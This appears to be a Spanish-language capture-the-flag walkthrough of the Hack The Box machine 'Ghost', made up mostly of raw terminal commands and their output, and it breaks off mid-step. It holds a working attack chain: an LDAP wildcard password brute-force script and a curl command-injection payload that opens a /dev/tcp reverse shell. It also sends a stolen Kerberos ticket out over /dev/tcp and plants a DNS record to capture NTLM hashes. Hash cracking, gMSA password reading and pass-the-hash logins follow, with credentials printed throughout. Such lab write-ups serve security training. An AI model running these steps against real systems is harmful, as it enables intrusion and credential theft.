    |_ssl-date: TLS randomness does not represent time
    1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
    | ms-sql-info: 
    |   10.10.11.24:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2022 RTM
    |       number: 16.00.1000.00
    |       Product: Microsoft SQL Server 2022
    |       Service pack level: RTM
    |       Post-SP patches applied: false
    |_    TCP port: 1433
    |_ssl-date: 2025-02-07T18:02:20+00:00; +26s from scanner time.
    | ms-sql-ntlm-info: 
    |   10.10.11.24:1433: 
    |     Target_Name: GHOST
    |     NetBIOS_Domain_Name: GHOST
    |     NetBIOS_Computer_Name: DC01
    |     DNS_Domain_Name: ghost.htb
    |     DNS_Computer_Name: DC01.ghost.htb
    |     DNS_Tree_Name: ghost.htb
    |_    Product_Version: 10.0.20348
    | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
    | Not valid before: 2025-02-07T17:46:39
    |_Not valid after:  2055-02-07T17:46:39
    2179/tcp  open  vmrdp?
    3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: commonName=DC01.ghost.htb
    | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
    | Not valid before: 2024-06-19T15:45:56
    |_Not valid after:  2124-06-19T15:55:55
    |_ssl-date: TLS randomness does not represent time
    3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: commonName=DC01.ghost.htb
    | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
    | Not valid before: 2024-06-19T15:45:56
    |_Not valid after:  2124-06-19T15:55:55
    |_ssl-date: TLS randomness does not represent time
    3389/tcp  open  ms-wbt-server Microsoft Terminal Services
    |_ssl-date: 2025-02-07T18:02:21+00:00; +27s from scanner time.
    | ssl-cert: Subject: commonName=DC01.ghost.htb
    | Not valid before: 2025-02-06T17:43:29
    |_Not valid after:  2025-08-08T17:43:29
    | rdp-ntlm-info: 
    |   Target_Name: GHOST
    |   NetBIOS_Domain_Name: GHOST
    |   NetBIOS_Computer_Name: DC01
    |   DNS_Domain_Name: ghost.htb
    |   DNS_Computer_Name: DC01.ghost.htb
    |   DNS_Tree_Name: ghost.htb
    |   Product_Version: 10.0.20348
    |_  System_Time: 2025-02-07T18:01:41+00:00
    5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
    8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
    |_http-title: Ghost
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    | http-robots.txt: 5 disallowed entries 
    |_/ghost/ /p/ /email/ /r/ /webmentions/receive/
    |_http-generator: Ghost 5.78
    8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
    | http-title: Ghost Core
    |_Requested resource was /login
    |_ssl-date: TLS randomness does not represent time
    | tls-nextprotoneg: 
    |_  http/1.1
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    | tls-alpn: 
    |_  http/1.1
    | ssl-cert: Subject: commonName=core.ghost.htb
    | Subject Alternative Name: DNS:core.ghost.htb
    | Not valid before: 2024-06-18T15:14:02
    |_Not valid after:  2124-05-25T15:14:02
    9389/tcp  open  mc-nmf        .NET Message Framing
    49443/tcp open  unknown
    49664/tcp open  msrpc         Microsoft Windows RPC
    49669/tcp open  msrpc         Microsoft Windows RPC
    49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    51066/tcp open  msrpc         Microsoft Windows RPC
    51123/tcp open  msrpc         Microsoft Windows RPC
    57044/tcp open  msrpc         Microsoft Windows RPC
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
    OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
    Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
    No exact OS matches for host (test conditions non-ideal).
    Network Distance: 2 hops
    Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
    
    Host script results:
    | smb2-security-mode: 
    |   3:1:1: 
    |_    Message signing enabled and required
    |_clock-skew: mean: 26s, deviation: 0s, median: 25s
    | smb2-time: 
    |   date: 2025-02-07T18:01:41
    |_  start_date: N/A
    
    TRACEROUTE (using port 80/tcp)
    HOP RTT      ADDRESS
    1   99.71 ms 10.10.16.1
    2   99.92 ms 10.10.11.24
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 136.54 seconds
    ❯ xsltproc targetedXML > index.html
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    ❯ nxc smb 10.10.11.24
    SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
    
    ❯ ldapsearch -x -H ldap://10.10.11.24 -s base | grep defaultNamingContext
    defaultNamingContext: DC=GHOST,DC=HTB
    ❯ cat /etc/hosts | grep ghost.htb
    10.10.11.24 ghost.htb DC01.ghost.htb
    ❯ whatweb http://ghost.htb
    http://ghost.htb [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.10.11.24], Microsoft-HTTPAPI[2.0], Title[Not Found]
    
    ❯ whatweb http://ghost.htb:8008
    http://ghost.htb:8008 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.24], MetaGenerator[Ghost 5.78], Open-Graph-Protocol[website], Script[application/ld+json], Title[Ghost], X-Powered-By[Express], nginx[1.18.0]
    
    ❯ whatweb https://ghost.htb:8443
    https://ghost.htb:8443 [302 Found] Cookies[connect.sid], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], RedirectLocation[/login], X-Powered-By[Express], nginx[1.18.0]
    https://ghost.htb:8443/login [200 OK] Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], Title[Ghost Core], X-Powered-By[Express], nginx[1.18.0]
    ❯ cat /etc/hosts | grep ghost.htb
    10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb 
    ❯ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://FUZZ.ghost.htb:8008/  -t 200
    
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
    
           v2.1.0-dev
    ________________________________________________
    
     :: Method           : GET
     :: URL              : http://FUZZ.ghost.htb:8008/
     :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 200
     :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
    ________________________________________________
    
    core                    [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 173ms]
    intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 429ms]
    Intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 153ms]
    federation              [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 220ms]
    Core                    [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 206ms]
    ❯ ffuf -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://FUZZ.ghost.htb:8008/  -t 200
    
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
    
           v2.1.0-dev
    ________________________________________________
    
     :: Method           : GET
     :: URL              : http://FUZZ.ghost.htb:8008/
     :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 200
     :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
    ________________________________________________
    
    gitea                   [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 136ms]
    ❯ cat /etc/hosts | grep ghost.htb
    10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb
    ❯ cat users.txt
    kathryn.holland
    cassandra.shelton
    robert.steeves
    florence.ramirez
    justin.bradley
    arthur.boyd
    beth.clark
    charles.gray
    jason.taylor
    intranet_principal
    gitea_temp_principal
    import string
    import requests
    
    # Configuración
    url = 'http://intranet.ghost.htb:8008/login'
    headers = {
        'Host': 'intranet.ghost.htb:8008',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
        'Connection': 'keep-alive'
    }
    
    # Caracteres a probar (puedes ampliar si el login acepta mayúsculas o símbolos)
    charset = string.ascii_lowercase + string.digits  
    password = ""
    
    while True:
        found = False
        for char in charset:
            test_password = f"{password}{char}*"
    
            files = {
                '1_ldap-username': (None, 'gitea_temp_principal'),
                '1_ldap-secret': (None, test_password),
                '0': (None, '[{},"$K1"]')
            }
    
            r = requests.post(url, headers=headers, files=files)
    
            if r.status_code == 303:  # Código de redirección indica login exitoso
                password += char
                print(f"[✔] Caracter encontrado: {char} → {password}")
                found = True
                break  # Salir del loop de caracteres y probar el siguiente
    
        if not found:
            print(f"[✅] Contraseña encontrada: {password}")
            break  # Si ningún carácter fue válido, finaliza
    
    print(f"[🔓] Contraseña final: {password}")
    ❯ python3 brute_ldap.py
    [✔] Caracter encontrado: s → s
    [✔] Caracter encontrado: z → sz
    [✔] Caracter encontrado: r → szr
    [✔] Caracter encontrado: r → szrr
    [✔] Caracter encontrado: 8 → szrr8
    [✔] Caracter encontrado: k → szrr8k
    [✔] Caracter encontrado: p → szrr8kp
    [✔] Caracter encontrado: c → szrr8kpc
    [✔] Caracter encontrado: 3 → szrr8kpc3
    [✔] Caracter encontrado: z → szrr8kpc3z
    [✔] Caracter encontrado: 6 → szrr8kpc3z6
    [✔] Caracter encontrado: o → szrr8kpc3z6o
    [✔] Caracter encontrado: n → szrr8kpc3z6on
    [✔] Caracter encontrado: l → szrr8kpc3z6onl
    [✔] Caracter encontrado: q → szrr8kpc3z6onlq
    [✔] Caracter encontrado: f → szrr8kpc3z6onlqf
    [✅] Contraseña encontrada: szrr8kpc3z6onlqf
    [🔓] Contraseña final: szrr8kpc3z6onlqf
    ❯ unzip intranet.zip; cd intranet
    ❯ tree
    .
    ├── backend
    │   ├── Cargo.lock
    │   ├── Cargo.toml
    │   ├── diesel.toml
    │   ├── Dockerfile
    │   ├── migrations
    │   │   ├── 2024-01-05-214725_news
    │   │   │   ├── down.sql
    │   │   │   └── up.sql
    │   │   └── 2024-01-05-225610_forum
    │   │       ├── down.sql
    │   │       └── up.sql
    │   └── src
    │       ├── api
    │       │   ├── dev
    │       │   │   └── scan.rs
    │       │   ├── dev.rs
    │       │   ├── forum.rs
    │       │   ├── ldap.rs
    │       │   ├── login.rs
    │       │   ├── me.rs
    │       │   ├── news.rs
    │       │   └── users.rs
    │       ├── api.rs
    │       ├── database
    │       │   ├── models.rs
    │       │   └── schema.rs
    │       ├── database.rs
    │       └── main.rs
    ├── docker-compose.yml
    ├── frontend
    │   ├── Dockerfile
    │   ├── next.config.js
    │   ├── package.json
    │   ├── postcss.config.js
    │   ├── public
    │   │   ├── next.svg
    │   │   └── vercel.svg
    │   ├── README.md
    │   ├── src
    │   │   ├── app
    │   │   │   ├── (dashboard)
    │   │   │   │   ├── forum
    │   │   │   │   │   └── page.tsx
    │   │   │   │   ├── layoutNavigation.tsx
    │   │   │   │   ├── layout.tsx
    │   │   │   │   ├── news
    │   │   │   │   │   └── page.tsx
    │   │   │   │   ├── profile
    │   │   │   │   │   └── page.tsx
    │   │   │   │   └── users
    │   │   │   │       └── page.tsx
    │   │   │   ├── globals.css
    │   │   │   ├── layout.tsx
    │   │   │   ├── login
    │   │   │   │   ├── action.tsx
    │   │   │   │   ├── form.tsx
    │   │   │   │   └── page.tsx
    │   │   │   ├── logout
    │   │   │   │   └── route.tsx
    │   │   │   └── page.tsx
    │   │   ├── components
    │   │   │   ├── drawer.tsx
    │   │   │   └── navbar.tsx
    │   │   ├── helpers
    │   │   │   └── fetch.ts
    │   │   └── hooks
    │   │       └── useUser.tsx
    │   ├── tailwind.config.js
    │   ├── tsconfig.json
    │   └── yarn.lock
    └── README.md
    
    23 directories, 50 files
    ❯ grep 'DEV_INTRANET_KEY' -r *
    backend/src/api/dev.rs:                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
    backend/.env.example:DEV_INTRANET_KEY=
    dev.rs
    use rocket::http::Status;
    use rocket::Request;
    use rocket::request::{FromRequest, Outcome};
    
    pub(crate) mod scan;
    
    pub struct DevGuard;
    
    #[rocket::async_trait]
    impl<'r> FromRequest<'r> for DevGuard {
        type Error = ();
    
        async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
            let key = request.headers().get_one("X-DEV-INTRANET-KEY");
            match key {
                Some(key) => {
                    if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                        Outcome::Success(DevGuard {})
                    } else {
                        Outcome::Error((Status::Unauthorized, ()))
                    }
                },
                None => Outcome::Error((Status::Unauthorized, ()))
            }
        }
    }
    scan.rs
    use std::process::Command;
    
    use rocket::serde::json::Json;
    use rocket::serde::Serialize;
    use serde::Deserialize;
    
    use crate::api::dev::DevGuard;
    
    #[derive(Deserialize)]
    pub struct ScanRequest {
        url: String,
    }
    
    #[derive(Serialize)]
    pub struct ScanResponse {
        is_safe: bool,
        // remove the following once the route is stable
        temp_command_success: bool,
        temp_command_stdout: String,
        temp_command_stderr: String,
    }
    
    // Scans an url inside a blog post
    // This will be called by the blog to ensure all URLs in posts are safe
    #[post("/scan", format = "json", data = "<data>")]
    pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
        // currently intranet_url_check is not implemented,
        // but the route exists for future compatibility with the blog
        let result = Command::new("bash")
            .arg("-c")
            .arg(format!("intranet_url_check {}", data.url))
            .output();
    
        match result {
            Ok(output) => {
                Json(ScanResponse {
                    is_safe: true,
                    temp_command_success: true,
                    temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                    temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
                })
            }
            Err(_) => Json(ScanResponse {
                is_safe: true,
                temp_command_success: false,
                temp_command_stdout: "".to_string(),
                temp_command_stderr: "".to_string(),
            })
        }
    }
    ❯ nc -nlvp 443
    listening on [any] 443 ...
    ❯ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://gzzcoo.com;/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"}'
    ❯ nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49786
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@36b733906694:/app# hostname -I
    hostname -I
    172.18.0.3 
    root@36b733906694:/app# env
    SHELL=bash
    DATABASE_URL=./database.sqlite
    HOSTNAME=36b733906694
    PWD=/app
    HOME=/root
    CARGO_HOME=/usr/local/cargo
    LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
    LDAP_HOST=ldap://windows-host:389
    LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
    TERM=xterm
    DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
    RUSTUP_HOME=/usr/local/rustup
    ROCKET_ADDRESS=0.0.0.0
    SHLVL=3
    RUST_VERSION=1.79.0
    PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    JWT_SECRET=*xopkAGbLyg9bK_A
    _=/usr/bin/env
    ❯ nxc smb 10.10.11.24 -u users.txt -p 'He!KA9oKVT3rL99j' --continue-on-success
    SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\kathryn.holland:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\cassandra.shelton:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\robert.steeves:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\florence.ramirez:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\justin.bradley:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\arthur.boyd:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\beth.clark:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\charles.gray:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\jason.taylor:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    SMB         10.10.11.24     445    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j 
    SMB         10.10.11.24     445    DC01             [-] ghost.htb\gitea_temp_principal:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
    ❯ nxc ldap 10.10.11.24 -u 'intranet_principal' -p 'He!KA9oKVT3rL99j'  --bloodhound --collection All --dns-server 10.10.11.24
    SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
    LDAP        10.10.11.24     389    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j 
    LDAP        10.10.11.24     389    DC01             Resolved collection methods: group, dcom, trusts, localadmin, rdp, acl, session, psremote, container, objectprops
    LDAP        10.10.11.24     389    DC01             Done in 00M 10S
    LDAP        10.10.11.24     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.24_2025-02-07_212001_bloodhound.zip
    root@36b733906694:/# ls -l
    total 76
    drwxr-xr-x   1 root root 4096 Jul  5  2024 app
    lrwxrwxrwx   1 root root    7 Jul  1  2024 bin -> usr/bin
    drwxr-xr-x   2 root root 4096 Mar 29  2024 boot
    drwxr-xr-x   5 root root  340 Feb  7 17:46 dev
    -rwxr-xr-x   1 root root  215 Jul 22  2024 docker-entrypoint.sh
    drwxr-xr-x   1 root root 4096 Jul 22  2024 etc
    drwxr-xr-x   2 root root 4096 Mar 29  2024 home
    lrwxrwxrwx   1 root root    7 Jul  1  2024 lib -> usr/lib
    lrwxrwxrwx   1 root root    9 Jul  1  2024 lib64 -> usr/lib64
    drwxr-xr-x   2 root root 4096 Jul  1  2024 media
    drwxr-xr-x   2 root root 4096 Jul  1  2024 mnt
    drwxr-xr-x   2 root root 4096 Jul  1  2024 opt
    dr-xr-xr-x 196 root root    0 Feb  7 17:46 proc
    drwx------   1 root root 4096 Jul  5  2024 root
    drwxr-xr-x   1 root root 4096 Jul  5  2024 run
    lrwxrwxrwx   1 root root    8 Jul  1  2024 sbin -> usr/sbin
    drwxr-xr-x   2 root root 4096 Jul  1  2024 srv
    dr-xr-xr-x  13 root root    0 Feb  7 17:46 sys
    drwxrwxrwt   1 root root 4096 Jul  5  2024 tmp
    drwxr-xr-x   1 root root 4096 Jul  1  2024 usr
    drwxr-xr-x   1 root root 4096 Jul  1  2024 var
    
    root@36b733906694:/# cat docker-entrypoint.sh 
    #!/bin/bash
    
    mkdir /root/.ssh
    mkdir /root/.ssh/controlmaster
    printf 'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes' > /root/.ssh/config
    
    exec /app/ghost_intranet 
    root@36b733906694:~/.ssh/controlmaster$ ls -la
    total 12
    drwxr-xr-x 1 root root 4096 Feb  7 17:47 .
    drwxr-xr-x 1 root root 4096 Jul  5  2024 ..
    srw------- 1 root root    0 Feb  7 17:47 florence.ramirez@ghost.htb@dev-workstation:22
    
    root@36b733906694:~/.ssh/controlmaster$ file florence.ramirez\@ghost.htb\@dev-workstation\:22 
    florence.ramirez@ghost.htb@dev-workstation:22: socket
    root@36b733906694:~/.ssh/controlmaster# ssh -O check -S ~/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb
    Master running (pid=24)
    florence.ramirez@LINUX-DEV-WS01:~$ hostname -I
    172.18.0.2 
    florence.ramirez@LINUX-DEV-WS01:~$ id
    uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
    florence.ramirez@LINUX-DEV-WS01:~$ env
    SHELL=/bin/bash
    PWD=/home/GHOST/florence.ramirez
    KRB5CCNAME=FILE:/tmp/krb5cc_50
    LOGNAME=florence.ramirez
    MOTD_SHOWN=pam
    HOME=/home/GHOST/florence.ramirez
    SSH_CONNECTION=172.18.0.3 54228 172.18.0.2 22
    TERM=xterm
    USER=florence.ramirez
    SHLVL=1
    SSH_CLIENT=172.18.0.3 54228 22
    PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
    SSH_TTY=/dev/pts/0
    _=/usr/bin/env
    florence.ramirez@LINUX-DEV-WS01:/tmp$ ls -la krb5cc_50 
    -rw------- 1 florence.ramirez staff 1650 Feb  7 19:49 krb5cc_50
    ❯ nc -nlvp 443 > krb5cc_50
    listening on [any] 443 ...
    florence.ramirez@LINUX-DEV-WS01:/tmp$ cat krb5cc_50 > /dev/tcp/10.10.16.7/443
    ❯ ls -l krb5cc_50
    .rw-rw-r-- kali kali 1.6 KB Fri Feb  7 20:51:29 2025  krb5cc_50
    ❯ file krb5cc_50
    krb5cc_50: data
    ❯ export KRB5CCNAME=$(pwd)/krb5cc_50
    
    ❯ klist -i
    Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/krb5cc_50
    Default principal: florence.ramirez@GHOST.HTB
    
    Valid starting     Expires            Service principal
    07/02/25 20:51:02  08/02/25 06:51:02  krbtgt/GHOST.HTB@GHOST.HTB
    	renew until 08/02/25 20:51:01
    ❯ nxc smb 10.10.11.24 -u 'florence.ramirez' -k --use-kcache
    SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.24     445    DC01             [+] ghost.htb\florence.ramirez from ccache 
    ❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump
    
    zoneName: ghost.htb
    
    SOA.PrimaryServer: dc01.ghost.htb
    SOA.zoneAdminEmail: hostmaster@ghost.htb
    NS: dc01.ghost.htb
    A: 10.0.0.254; 127.0.0.1; 10.10.11.24
    recordName: ghost.htb
    
    recordName: _gc._tcp.ghost.htb
    SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268
    
    recordName: _gc._tcp.Default-First-Site-Name._sites.ghost.htb
    SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268
    
    recordName: _kerberos._tcp.ghost.htb
    SRV: dc01.ghost.htb:88
    ...[snip]...
    ❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump > dnsDump.txt
    ❯ grep 'bitbucket' dnsDump.txt
    ❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.16.7
    [+] bitbucket has been successfully added
    ❯ sudo responder -I tun0
    ...[snip]...
    [+] Listening for events...
    
    [HTTP] NTLMv2 Client   : 10.10.11.24
    [HTTP] NTLMv2 Username : ghost\justin.bradley
    [HTTP] NTLMv2 Hash     : justin.bradley::ghost:379fd6cc8a217192:57521556E3919754EBD8F3CEF7C53692:010100000000000055A059C39A79DB0196D7986191DE13BA00000000020008005400460043004E0001001E00570049004E002D004D004D004C00550059003000520039004F004E003500040014005400460043004E002E004C004F00430041004C0003003400570049004E002D004D004D004C00550059003000520039004F004E0035002E005400460043004E002E004C004F00430041004C00050014005400460043004E002E004C004F00430041004C00080030003000000000000000000000000040000076536FB96280E0573AB44A1AC8269946A2295E50D4C33E8D9D4B3161337ACEAC0A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
    ❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
    hashcat (v6.2.6) starting in autodetect mode
    
    OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
    ============================================================================================================================================
    * Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
    
    ...[snip]...
    
    JUSTIN.BRADLEY::ghost:379fd6cc8a217192:57521556e3919754ebd8f3cef7c53692:010100000000000055a059c39a79db0196d7986191de13ba00000000020008005400460043004e0001001e00570049004e002d004d004d004c00550059003000520039004f004e003500040014005400460043004e002e004c004f00430041004c0003003400570049004e002d004d004d004c00550059003000520039004f004e0035002e005400460043004e002e004c004f00430041004c00050014005400460043004e002e004c004f00430041004c00080030003000000000000000000000000040000076536fb96280e0573ab44a1ac8269946a2295e50d4c33e8d9d4b3161337aceac0a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$
    ❯ nxc smb 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
    SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.24     445    DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ 
    
    ❯ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
    WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
    WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)
    ❯ evil-winrm -i 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\justin.bradley\Documents> type ../Desktop/user.txt
    56ee926c00f*********************
    ❯ powerview ghost.htb/'justin.bradley':'Qwertyuiop1234$$'@10.10.11.24 --dc-ip 10.10.11.24
    Logging directory is set to /home/kali/.powerview/logs/ghost-justin.bradley-10.10.11.24
    [2025-02-07 21:27:49] [Storage] Using cache directory: /home/kali/.powerview/storage/ldap_cache
    (LDAPS)-[DC01.ghost.htb]-[GHOST\justin.bradley]
    PV > Get-GMSA
    ObjectDnsHostname           : federation.ghost.htb
    ObjectSAN                   : adfs_gmsa$
    ObjectSID                   : S-1-5-21-4084500788-938703357-3654145966-4101
    PrincipallAllowedToRead     : GHOST\DC01$
                                  GHOST\justin.bradley
    GMSAPassword                : 0bef79ae4d25b1864570212e33922d14
    ❯ nxc smb 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
    SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.24     445    DC01             [+] ghost.htb\ADFS_GMSA$:0bef79ae4d25b1864570212e33922d14
    ❯ evil-winrm -i 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> 
    ❯ ls -l LateralMovement
    ❯ git clone https://github.com/jakobfriedl/precompiled-binaries; cd precompiled-binaries/LateralMovement
    Clonando en 'precompiled-binaries'...
    remote: Enumerating objects: 242, done.
    remote: Counting objects: 100% (41/41), done.
    remote: Compressing objects: 100% (38/38), done.
